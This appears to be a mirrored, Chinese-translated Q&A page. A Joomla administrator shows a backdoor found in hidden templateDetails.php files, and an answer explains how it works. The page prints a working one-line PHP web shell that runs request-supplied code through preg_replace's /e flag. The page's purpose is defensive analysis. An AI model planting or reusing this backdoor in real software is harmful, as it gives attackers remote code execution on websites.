代碼是什麼意思,惡意黑客如何使用? (What does the code mean and how can be used by malicious hackers?)


問題描述

代碼是什麼意思,惡意黑客如何使用? (What does the code mean and how can be used by malicious hackers?)

我剛剛在站點的Joomla安裝上發現我正在管理許多隱藏在各種文件夾中的templateDetails.php文件,代碼如下:

<?php if (!isset($_REQUEST['e44e'])) header("HTTP/1.0 404 Not Found"); @preg_replace('/(.*)/e', @$_REQUEST['e44e'], ''); ?>

我及時恢復了站點備份,更改了所有管理員密碼並加強了網站的安全性。

你能解釋一下這種代碼是如何被用來竊取或破壞網站的嗎?


參考解法

方法 1:

I've commented the code below for you to explain:

<?php 
 //Check for a POST or GET (query string) variable called e44e
if (!isset($_REQUEST['e44e'])) 
header("HTTP/1.0 404 Not Found"); //If that variable doesn't exist, send a 404

// This is quite clever ‑ the 'e' flag in preg forces PHP to eval the string, and then in theory use the result as the preg_replace (however in this case, that bit doesn't matter, as actually all we are looking to do is evecute whatever has been passed through request ‑ basically doing eval(), but hiding it so it's not as obvious, and won't get picked up (in theory) by any installs that block eval (although in practise most then also stop the e flag from working as well)
@preg_replace('/(.*)/e', @$_REQUEST['e44e'], ''); 
?>

In sort, it's a fancy way to use eval(), allowing them to pass through any code as a query string, and then execute it!

(by DrakeLiam Wiltshire)

參考文件

  1. What does the code mean and how can be used by malicious hackers? (CC BY‑SA 2.5/3.0/4.0)

#Security #PHP






相關問題

只允許 oracle db 登錄到特定的應用程序? (Allowing oracle db login only to specific application?)

在桌面應用程序中保存用戶名和密碼 (Saving username & password in desktop app)

如何使用算法 RSA/ECB/PKCS1Padding 通過 JavaScript 解密加密字符串 (How to decrypt through JavaScript of encrypted string using algorithm RSA/ECB/PKCS1Padding)

wcf:將用戶名添加到消息頭是否安全? (wcf: adding username to the message header is this secure?)

沒有 .htaccess 的安全目錄密碼保護 (Secure directory password protection without .htaccess)

無法在 Oracle 表上創建簡單視圖 (Unable to create a simple view on Oracle table)

當請求來自調度程序時,無法寫入 App_Data (Cannot write in App_Data when request is from scheduler)

安全的 PHP 文件上傳 (Secure PHP file uploading)

Grails Spring 安全配置通過 xml (Grails Spring Security Configuration thru xml)

醫療應用的安全要求 (Security Requirements for Medical Applications)

如何保護 Silverlight 應用程序 (How to Secure Silverlight Application)

在使用 azure 流量管理器和 azure 應用程序網關與 WAF 時實現國家級阻止 (Achieve country level blocking while using azure traffic manager and azure application gateway with WAF)







留言討論